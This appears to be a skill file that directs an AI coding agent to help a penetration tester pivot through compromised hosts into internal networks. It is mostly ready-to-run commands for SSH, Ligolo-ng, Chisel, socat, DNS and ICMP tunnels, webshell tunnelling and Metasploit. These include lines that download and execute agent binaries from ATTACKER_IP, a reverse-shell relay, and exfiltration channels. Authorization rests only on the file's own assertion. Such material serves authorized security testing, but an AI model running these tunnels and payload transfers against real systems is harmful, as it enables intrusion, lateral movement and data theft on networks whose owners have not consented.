| name | pivoting-tunneling |
| description | Network pivoting, port forwarding, and tunneling through compromised hosts to reach internal networks.
|
| keywords | ["pivot","tunnel","port forward","SOCKS proxy","proxychains","access internal network","double pivot","SSH tunnel","ligolo","chisel","sshuttle","reach another subnet","lateral movement networking","I can't reach the internal network","set up a proxy","route traffic through"] |
| tools | ["SSH","Ligolo-ng","Chisel","sshuttle","socat","proxychains","plink","netsh","dnscat2","iodine","FRP"] |
| opsec | medium |
Pivoting and Tunneling
You are helping a penetration tester pivot through compromised hosts to reach
internal networks. All testing is under explicit written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[pivoting-tunneling] Activated → <target> to the screen on activation.
- Evidence → save significant output to
engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).
State Management
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- At least one compromised host with access to the target network
- Know the target subnet or specific internal hosts to reach
- Know what's available on the compromised host (SSH, outbound connectivity,
installed tools, OS)
Privileged Commands
Claude Code cannot execute sudo commands. The following tools require root
on the attacker machine and must be handed off to the user:
- ssh -w (VPN/tun mode) — creates tun device (requires
PermitTunnel on both ends)
- ip addr / ip link / ip route / ip tuntap — network interface and route configuration
- iptables — NAT/masquerade rules for tunnel routing
- sshuttle — transparent proxy (needs root for iptables rules)
- iodined / iodine — DNS tunnel server/client (needs tun device)
- hans — ICMP tunnel (needs raw sockets)
- ptunnel-ng — ICMP tunnel (needs raw sockets)
Handoff protocol:
- Present the full command including
sudo to the user
- For multi-step setups (e.g., create tun + add route + add NAT), batch
all commands so the user can run them sequentially
- Verify connectivity after the user confirms completion
- Continue with proxychains configuration and tool usage
Non-privileged commands Claude can execute directly:
- SSH port forwarding:
ssh -L, ssh -R, ssh -D, ssh -J (jump hosts)
- Chisel (client/server as user binary)
- Ligolo-ng agent (on pivot host)
- Socat port forwarding
- Plink (Windows SSH)
- Proxychains configuration and usage
- FRP client/server
Note: Ligolo-ng proxy setup requires root on the attacker machine
(ip tuntap add, ip link set, ip route add). The agent on the
pivot host runs unprivileged.
Tool Selection Decision Tree
Choose the right tool based on what's available:
What access do you have on the pivot host?
│
├─ SSH access (port 22 open to you)
│ ├─ Need to reach a single port? → SSH Local Forward (-L)
│ ├─ Need a full SOCKS proxy? → SSH Dynamic Forward (-D)
│ ├─ Need to expose a service back to you? → SSH Remote Forward (-R)
│ ├─ Need transparent subnet access? → sshuttle
│ └─ Need full layer-3 VPN? → SSH VPN (tun device)
│
├─ Shell access (no SSH, but have outbound connectivity)
│ ├─ Can upload tools?
│ │ ├─ Need full subnet routing? → Ligolo-ng
│ │ ├─ Need SOCKS proxy? → Chisel reverse SOCKS
│ │ └─ Need simple port forward? → Chisel or socat
│ └─ Cannot upload tools?
│ ├─ Bash available? → /dev/tcp relay
│ └─ Python available? → Python SOCKS proxy
│
├─ Only HTTP(S) outbound
│ ├─ Webshell on target? → reGeorg / neo-reGeorg
│ └─ Can upload binary? → Chisel (HTTP tunnel mode)
│
├─ Only DNS outbound
│ └─ dnscat2 or iodine
│
├─ Only ICMP outbound
│ └─ hans or ptunnel-ng
│
├─ Windows host (no SSH)
│ ├─ RDP access? → SocksOverRDP + Proxifier
│ ├─ Admin access? → netsh portproxy
│ └─ User access? → plink (PuTTY CLI), Chisel, or Ligolo-ng
│
└─ Through a corporate proxy (NTLM auth)
└─ rpivot or cntlm + Chisel
Step 1: SSH Tunneling
SSH is the preferred pivoting tool — it's native, encrypted, leaves minimal
forensic artifacts, and is already present on most Linux/macOS systems.
Local Port Forward (-L)
Forward a port on your attack machine to a service on/behind the pivot host.
ssh -L 8080:10.10.10.5:80 user@PIVOT_IP
ssh -L 3306:127.0.0.1:3306 user@PIVOT_IP
ssh -L 8080:10.10.10.5:80 -L 445:10.10.10.5:445 -L 3389:10.10.10.10:3389 user@PIVOT_IP
ssh -L 8080:10.10.10.5:80 -N -f user@PIVOT_IP
Use case: Access a specific internal service (web app, database, RDP) through
the pivot. Simple, reliable, no tools needed.
Dynamic SOCKS Proxy (-D)
Create a SOCKS proxy on your attack machine that routes traffic through the pivot.
ssh -D 1080 user@PIVOT_IP -N -f
proxychains nmap -sT -sV -p- 10.10.10.5
proxychains curl http://10.10.10.5/
proxychains firefox
curl --socks5 127.0.0.1:1080 http://10.10.10.5/
nmap --proxies socks4://127.0.0.1:1080 -sT 10.10.10.5
proxychains configuration (/etc/proxychains4.conf or ~/.proxychains/proxychains.conf):
[ProxyList]
socks5 127.0.0.1 1080
Use case: Route arbitrary traffic to the internal network. Works with most
tools via proxychains. Preferred when you need to scan or interact with
multiple internal hosts.
Note: SOCKS proxies only handle TCP. UDP and ICMP don't traverse SOCKS.
This means ping won't work, nmap must use -sT (connect scan) not -sS
(SYN scan), and UDP services need a different approach.
Remote Port Forward (-R)
Expose a port from the pivot host (or internal network) back to your attack machine.
Useful when the pivot can reach you but you can't initiate connections to it.
ssh -R 8080:127.0.0.1:80 attacker@ATTACKER_IP -N -f
ssh -R 8080:10.10.10.5:80 attacker@ATTACKER_IP -N -f
ssh -R 1080 attacker@ATTACKER_IP -N -f
Use case: Pivot host can reach your attacker machine but you can't reach the
pivot directly (e.g., NAT, firewall, VPN). Run the SSH command from the pivot.
SSH Escape Sequence (~C)
Add forwards to an existing SSH session without disconnecting.
# In an active SSH session, press Enter then ~C
ssh> -L 8080:10.10.10.5:80
Forwarding port.
ssh> -D 1080
Forwarding port.
Useful when you realize you need a forward mid-session without losing your shell.
ProxyJump (-J) — Multi-Hop
Chain SSH through multiple pivot hosts.
ssh -J user@PIVOT1_IP user@PIVOT2_IP
ssh -J user@PIVOT1_IP,user@PIVOT2_IP user@FINAL_TARGET
ssh -J user@PIVOT1_IP -D 1080 user@PIVOT2_IP -N -f
Host pivot1
HostName PIVOT1_IP
User user
Host pivot2
HostName PIVOT2_IP
User user
ProxyJump pivot1
Host internal
HostName 10.10.10.5
User user
ProxyJump pivot2
Use case: Multi-hop pivoting through several compromised hosts to reach
deeply segmented networks.
sshuttle — Transparent VPN over SSH
Routes traffic at the IP level — no SOCKS configuration needed. Tools work
natively without proxychains.
sshuttle -r user@PIVOT_IP 10.10.10.0/24
sshuttle -r user@PIVOT_IP 10.10.10.0/24 172.16.0.0/16
sshuttle -r user@PIVOT_IP 10.10.10.0/24 -x PIVOT_IP
sshuttle --dns -r user@PIVOT_IP 10.10.10.0/24
sshuttle -r user@PIVOT_IP --ssh-cmd "ssh -i /path/to/key" 10.10.10.0/24
sshuttle -r user@PIVOT_IP 10.10.10.0/24 -vvv
Advantages over SSH -D:
- No proxychains needed — tools work natively (including nmap -sS)
- UDP support (with
--method tproxy and root on attacker)
- DNS forwarding
- Transparent to all applications
Limitations:
- Requires Python on the pivot host
- Requires root/sudo on the attacker machine (uses iptables/pf)
- Cannot route to the pivot host's own IP (use
-x to exclude)
Use case: Best option when you have SSH access and need transparent subnet
routing without configuring every tool for SOCKS.
SSH VPN (TUN Device)
Full layer-3 VPN using SSH's built-in tunnel support.
sudo ssh -w 0:0 user@PIVOT_IP
sudo ip addr add 10.0.0.1/30 dev tun0
sudo ip link set tun0 up
sudo ip route add 10.10.10.0/24 via 10.0.0.2
sudo ip addr add 10.0.0.2/30 dev tun0
sudo ip link set tun0 up
echo 1 > /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -s 10.0.0.0/30 -o eth0 -j MASQUERADE
Use case: Rarely needed — sshuttle handles most cases better. Use when you
need full layer-3 access including ICMP, UDP, and raw sockets, and the pivot's
sshd_config allows tunnel devices.
Step 2: Ligolo-ng
Full TUN-based tunnel with agent/proxy architecture. Provides transparent subnet
routing like sshuttle but works without SSH. The agent runs on the pivot; the
proxy runs on your attacker machine.
Setup
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601
./agent -connect ATTACKER_IP:11601 -ignore-cert
Routing
session
sudo ip route add 10.10.10.0/24 dev ligolo
start
ip route | grep ligolo
ping 10.10.10.5
Port Forwarding (Listener)
Expose internal ports or redirect traffic through the agent.
listener_add --addr 0.0.0.0:8080 --to 10.10.10.5:80 --tcp
listener_add --addr 0.0.0.0:3306 --to 127.0.0.1:3306 --tcp
listener_list
listener_stop 0
Double Pivot
Chain through multiple agents.
./agent -connect ATTACKER_IP:11601 -ignore-cert
sudo ip route add 10.10.20.0/24 dev ligolo
listener_add --addr 0.0.0.0:11601 --to ATTACKER_IP:11601 --tcp
./agent -connect AGENT1_IP:11601 -ignore-cert
sudo ip route add 10.10.30.0/24 dev ligolo
Transfer Agent to Pivot
python3 -m http.server 8000
wget http://ATTACKER_IP:8000/agent -O /tmp/agent && chmod +x /tmp/agent
curl http://ATTACKER_IP:8000/agent -o /tmp/agent && chmod +x /tmp/agent
certutil -urlcache -f http://ATTACKER_IP:8000/agent.exe C:\Windows\Temp\agent.exe
iwr http://ATTACKER_IP:8000/agent.exe -OutFile C:\Windows\Temp\agent.exe
Advantages:
- Full TUN interface — all tools work natively (nmap SYN scan, ping, UDP)
- No proxychains needed
- Works on both Linux and Windows pivots
- Clean agent/proxy architecture
- Built-in port forwarding
Limitations:
- Requires uploading a binary to the pivot (OPSEC consideration)
- TLS certificate fingerprint is detectable
- Requires root/sudo on attacker for TUN interface
Use case: Preferred non-SSH option. Best when you need transparent subnet
access and have the ability to upload a binary.
Step 3: Chisel
Reverse SOCKS proxy and port forwarding over HTTP. Works through HTTP proxies
and firewalls that allow outbound HTTP/HTTPS.
Reverse SOCKS Proxy
./chisel server --reverse --port 8000
./chisel client ATTACKER_IP:8000 R:socks
proxychains nmap -sT -sV 10.10.10.5
proxychains curl http://10.10.10.5/
Port Forwarding
./chisel server --reverse --port 8000
./chisel client ATTACKER_IP:8000 R:8080:10.10.10.5:80
./chisel client ATTACKER_IP:8000 R:8080:10.10.10.5:80 R:445:10.10.10.5:445 R:3389:10.10.10.10:3389
./chisel client ATTACKER_IP:8000 8080:10.10.10.5:80
Through an HTTP Proxy
./chisel client --proxy http://PROXY_IP:3128 ATTACKER_IP:8000 R:socks
./chisel client --proxy http://user:pass@PROXY_IP:3128 ATTACKER_IP:8000 R:socks
TLS Encryption
./chisel server --reverse --port 443 --tls-key server.key --tls-cert server.crt
./chisel client --fingerprint SERVER_FINGERPRINT ATTACKER_IP:443 R:socks
Transfer Chisel to Pivot
wget http://ATTACKER_IP:8000/chisel -O /tmp/chisel && chmod +x /tmp/chisel
curl http://ATTACKER_IP:8000/chisel -o /tmp/chisel && chmod +x /tmp/chisel
certutil -urlcache -f http://ATTACKER_IP:8000/chisel.exe C:\Windows\Temp\chisel.exe
iwr http://ATTACKER_IP:8000/chisel.exe -OutFile C:\Windows\Temp\chisel.exe
Advantages:
- Single binary, cross-platform
- Works through HTTP proxies
- TLS support (blends with HTTPS traffic)
- Reverse connections (pivot connects to you)
Limitations:
- SOCKS proxy only (no transparent routing like Ligolo-ng)
- Requires proxychains for most tools
- Binary upload required (detectable by EDR)
Use case: When SSH isn't available and you need a SOCKS proxy. Excels in
environments with restrictive firewalls that only allow HTTP/HTTPS outbound.
Step 4: socat
Swiss-army knife for network relaying. Useful for simple port forwards and
bidirectional connections.
Port Forwarding
socat TCP-LISTEN:8080,fork TCP:10.10.10.5:80
socat TCP-LISTEN:8080,fork TCP:10.10.10.5:80 &
socat TCP-LISTEN:8080,bind=0.0.0.0,fork TCP:10.10.10.5:80
Encrypted Relay
openssl req -newkey rsa:2048 -nodes -keyout relay.key -x509 -days 365 -out relay.crt
cat relay.key relay.crt > relay.pem
socat OPENSSL-LISTEN:443,cert=relay.pem,verify=0,fork TCP:10.10.10.5:80
Reverse Shell Relay
socat TCP-LISTEN:4444,fork TCP:ATTACKER_IP:4444
UDP Relay
socat UDP-LISTEN:53,fork UDP:10.10.10.5:53
Use case: Quick port forwards on a pivot host. Often already installed.
No SOCKS support — use for forwarding specific ports.
Step 5: Windows Pivoting
netsh portproxy (Built-in, Admin Required)
# Forward pivot:8080 to internal 10.10.10.5:80
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=10.10.10.5
# Forward pivot:4445 to internal 10.10.10.5:445
netsh interface portproxy add v4tov4 listenport=4445 listenaddress=0.0.0.0 connectport=445 connectaddress=10.10.10.5
# List all forwards
netsh interface portproxy show all
# Remove a forward
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0
# Open firewall for the forwarded port
netsh advfirewall firewall add rule name="pivot_8080" protocol=TCP dir=in localport=8080 action=allow
Advantages: Built-in, no tools to upload. Limitations: Admin required,
TCP only, no SOCKS, no encryption. Each forward is a separate rule.
plink (PuTTY CLI)
# Dynamic SOCKS proxy (like ssh -D)
plink.exe -ssh -D 1080 -N user@ATTACKER_IP
# Local port forward
plink.exe -ssh -L 8080:10.10.10.5:80 -N user@ATTACKER_IP
# Remote port forward (reverse)
plink.exe -ssh -R 8080:10.10.10.5:80 -N user@ATTACKER_IP
# Non-interactive (accept host key automatically)
echo y | plink.exe -ssh -D 1080 -N -pw PASSWORD user@ATTACKER_IP
Use case: SSH-style tunneling from a Windows pivot. Requires plink.exe
upload but familiar SSH syntax.
SocksOverRDP
Creates a SOCKS proxy over an existing RDP session.
# Setup:
# 1. On attacker: place SocksOverRDP-Plugin.dll and SocksOverRDP-Server.exe
# 2. Connect via RDP to pivot
# 3. In RDP session, run SocksOverRDP-Server.exe
# 4. Load SocksOverRDP-Plugin.dll in mstsc (register as RDP virtual channel)
# 5. SOCKS proxy available on attacker at 127.0.0.1:1080
# On pivot (in RDP session)
.\SocksOverRDP-Server.exe
# On attacker — configure Proxifier or proxychains
# SOCKS5 127.0.0.1 1080
Use case: When you only have RDP access to the pivot and need to proxy
tools through it. Requires Proxifier on Windows attacker or proxychains on Linux.
Chisel / Ligolo-ng on Windows
Both have Windows binaries. Usage is identical to the Linux sections above:
# Chisel reverse SOCKS from Windows pivot
.\chisel.exe client ATTACKER_IP:8000 R:socks
# Ligolo-ng agent from Windows pivot
.\agent.exe -connect ATTACKER_IP:11601 -ignore-cert
Step 6: DNS Tunneling
When only DNS traffic can leave the network. Slow but effective for exfiltration
and basic command channels.
dnscat2
ruby dnscat2.rb tunnel.attacker.com
./dnscat tunnel.attacker.com
sessions
session -i 1
listen 127.0.0.1:8080 10.10.10.5:80
shell
iodine
Full IP tunnel over DNS (higher throughput than dnscat2).
sudo iodined -f -c -P password 10.0.0.1/24 tunnel.attacker.com
sudo iodine -f -P password tunnel.attacker.com
sudo ip route add 10.10.10.0/24 via 10.0.0.2
Requirements: Attacker must own a domain with NS record pointing to the
attacker's IP. DNS (port 53 UDP) must be allowed outbound from pivot.
Use case: Last resort when HTTP/TCP egress is blocked but DNS is allowed.
Slow (10-50 KB/s typical) but functional for C2 and light scanning.
Step 7: ICMP Tunneling
When only ICMP (ping) traffic can leave the network.
hans
sudo ./hans -s 10.0.0.1 -p password
sudo ./hans -c ATTACKER_IP -p password
sudo ip route add 10.10.10.0/24 via 10.0.0.100
ptunnel-ng
sudo ./ptunnel-ng -r ATTACKER_IP -R 22
sudo ./ptunnel-ng -p ATTACKER_IP -l 2222 -r 127.0.0.1 -R 22
ssh -p 2222 user@127.0.0.1
Use case: Extremely restricted environments. Requires root/sudo on both ends.
Very slow, but proves connectivity for exfiltration.
Step 8: HTTP Tunneling (Webshell-Based)
When you only have webshell access (no interactive shell) on the pivot.
neo-reGeorg
python neoreg.py generate -k password
python neoreg.py -k password -u http://TARGET_IP/tunnel.php
proxychains nmap -sT 10.10.10.0/24
rpivot (NTLM Proxy Bypass)
For environments behind an NTLM-authenticating proxy.
python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
python client.py --server-ip ATTACKER_IP --server-port 9999
python client.py --server-ip ATTACKER_IP --server-port 9999 --ntlm-proxy-ip PROXY_IP --ntlm-proxy-port 8080 --domain CORP --username user --password pass
Use case: Corporate environments with NTLM-authenticated proxies that block
direct outbound connections.
Step 9: Metasploit Pivoting
When using Metasploit for the overall engagement.
run autoroute -s 10.10.10.0/24
route add 10.10.10.0 255.255.255.0 SESSION_ID
route print
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j
portfwd add -l 8080 -p 80 -r 10.10.10.5
portfwd list
portfwd delete -l 8080 -p 80 -r 10.10.10.5
proxychains with Metasploit SOCKS:
[ProxyList]
socks5 127.0.0.1 1080
Use case: When already in Metasploit. Autoroute makes all Metasploit modules
work through the pivot transparently.
Step 10: FRP (Fast Reverse Proxy)
Advanced reverse proxy with dashboard and configuration file.
[common]
bind_port = 7000
[common]
server_addr = ATTACKER_IP
server_port = 7000
[[proxies]]
name = "socks5"
type = "tcp"
remote_port = 1080
[proxies.plugin]
type = "socks5"
[[proxies]]
name = "web"
type = "tcp"
local_ip = "10.10.10.5"
local_port = 80
remote_port = 8080
./frps -c frps.toml
./frpc -c frpc.toml
Use case: Long-running tunnels with multiple forwards. Configuration file
approach is cleaner for complex setups.
Step 11: Public Tunnel Services
For scenarios where the pivot has internet access but the attacker doesn't have
a public IP.
ngrok tcp 4444
cloudflared tunnel --url tcp://localhost:4444
OPSEC warning: Traffic goes through third-party infrastructure. Only use in
CTF/lab environments. Not appropriate for real engagements.
Step 12: Multi-Hop Scenarios
Chaining pivots through multiple compromised hosts.
Double Pivot with SSH
ssh -J user@PIVOT1 -D 1080 user@PIVOT2 -N -f
sshuttle -r user@PIVOT1 PIVOT2_SUBNET/24 -x PIVOT1_IP
sshuttle -r user@PIVOT2 INTERNAL_SUBNET/24 -x PIVOT2_IP
Double Pivot with Ligolo-ng
See Step 2 "Double Pivot" section — use listener chaining.
Double Pivot with Chisel
./chisel server --reverse --port 8000
./chisel client ATTACKER_IP:8000 R:socks &
./chisel server --port 9000
./chisel client PIVOT1_IP:9000 R:1081:socks
Proxychains Chaining
strict_chain
[ProxyList]
socks5 127.0.0.1 1080
socks5 127.0.0.1 1081
Step 13: Verifying Tunnel Connectivity
After establishing any tunnel, verify it works before proceeding.
proxychains curl -s http://10.10.10.5/ -o /dev/null -w "%{http_code}\n"
proxychains nc -zv 10.10.10.5 445
ping -c 3 10.10.10.5
nmap -sT -p445 10.10.10.5
curl http://10.10.10.5/
curl http://127.0.0.1:8080/
nc -zv 127.0.0.1 8080
proxychains nslookup dc01.corp.local 10.10.10.1
proxychains dig @10.10.10.1 corp.local
Common verification issues:
| Symptom | Cause | Fix |
|---|
| Connection refused | Tunnel not running or wrong port | Check tunnel process, verify port numbers |
| Connection timeout | Firewall or routing issue | Check routes, verify pivot can reach target |
| DNS not resolving | DNS not routed through tunnel | Use --dns with sshuttle, or set DNS server explicitly |
| nmap SYN scan fails | SOCKS proxy doesn't support raw sockets | Use -sT (connect scan) with proxychains |
| Tools hang with proxychains | Tool not compatible with SOCKS | Use transparent tunnel (sshuttle/Ligolo-ng) instead |
Step 14: Tool Compatibility with SOCKS Proxies
Not all tools work through proxychains. This table covers common pentesting tools:
| Tool | proxychains | Notes |
|---|
| nmap | Partial | Must use -sT (connect scan), no SYN/UDP/ping |
| curl / wget | Yes | Works natively with --socks5 too |
| netexec | Yes | Works well through proxychains |
| impacket-* | Yes | Most tools work; some need --dc-ip explicitly |
| sqlmap | Yes | Works through proxychains |
| gobuster / ffuf | Yes | May be slow; reduce threads |
| nikto | Yes | Works through proxychains |
| hydra | Yes | Use -s for port if forwarded |
| smbclient | Yes | Works through proxychains |
| evil-winrm | Yes | Works through proxychains |
| bloodhound-python | Yes | Needs --dns-tcp and --dc-ip |
| Burp Suite | Configure | Set SOCKS proxy in Burp's settings |
| Firefox | Configure | Set SOCKS proxy in network settings, enable DNS over SOCKS |
| Metasploit | Partial | Use set Proxies socks5:127.0.0.1:1080 |
| responder | No | Needs raw sockets — use transparent tunnel |
| ping | No | ICMP not supported over SOCKS |
For tools that don't work with SOCKS, use sshuttle or Ligolo-ng for
transparent routing.
Step 15: Maintaining Persistent Tunnels
Keep-alive and Reconnection
ssh -D 1080 -o ServerAliveInterval=60 -o ServerAliveCountMax=3 user@PIVOT_IP -N -f
autossh -M 0 -D 1080 -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -N -f user@PIVOT_IP
./chisel client --keepalive 25s ATTACKER_IP:8000 R:socks
Background Management
ps aux | grep "ssh.*-D\|ssh.*-L\|ssh.*-R" | grep -v grep
kill PID
ps aux | grep -E "chisel|agent|proxy" | grep -v grep
Screen/tmux for Tunnel Management
tmux new -s tunnels
ssh -D 1080 user@PIVOT_IP -N
./proxy -selfcert -laddr 0.0.0.0:11601
proxychains bash
Troubleshooting
SSH tunnel dies after inactivity
Add keep-alive settings:
ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3 ...
Or use autossh for automatic reconnection.
proxychains DNS leaks
By default proxychains may leak DNS. Fix in /etc/proxychains4.conf:
proxy_dns
Or use sshuttle with --dns flag.
"Channel open failed" / "administratively prohibited"
The SSH server is blocking TCP forwarding. Check the pivot's /etc/ssh/sshd_config:
AllowTcpForwarding yes
GatewayPorts yes # For remote forwards binding to 0.0.0.0
PermitTunnel yes # For SSH VPN (tun device)
If you can't modify sshd_config, use Chisel or Ligolo-ng instead.
Tunnel is slow
- Check bandwidth between attacker and pivot:
iperf3 if available
- Reduce parallel connections through the tunnel
- For SOCKS: reduce tool thread count (
ffuf -t 5, gobuster -t 5)
- DNS tunnels are inherently slow (10-50 KB/s) — accept it or find HTTP egress
- Compression:
ssh -C -D 1080 user@PIVOT_IP (helps on slow links)
Cannot upload tools to pivot
Use techniques that don't require uploads:
- SSH tunneling (already on the host)
socat (often pre-installed)
- Bash
/dev/tcp relays (no tools needed)
- Python one-liners (if Python is available):
python3 -c "
import socket,select,threading
def relay(src,dst):
while True:
r,_,_ = select.select([src,dst],[],[],5)
if src in r:
d = src.recv(4096)
if not d: break
dst.sendall(d)
if dst in r:
d = dst.recv(4096)
if not d: break
src.sendall(d)
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 1080))
s.listen(5)
print('SOCKS relay on :1080')
while True:
c,a = s.accept()
d = c.recv(9)
port = int.from_bytes(d[2:4],'big')
ip = socket.inet_ntoa(d[4:8])
c.sendall(b'\x00\x5a' + d[2:8])
r = socket.socket()
r.connect((ip,port))
threading.Thread(target=relay,args=(c,r),daemon=True).start()
"
Ligolo-ng agent can't connect back
- Check firewall on attacker allows inbound on port 11601
- Check pivot has outbound access to attacker's IP
- Try a different port:
./proxy -selfcert -laddr 0.0.0.0:443
- If HTTP proxy required, use Chisel instead (has HTTP proxy support)
Windows pivot — no admin for netsh
Use plink, Chisel, or Ligolo-ng agent — all work as regular user.
# plink (no admin needed)
plink.exe -ssh -D 1080 -N user@ATTACKER_IP
# Chisel (no admin needed)
.\chisel.exe client ATTACKER_IP:8000 R:socks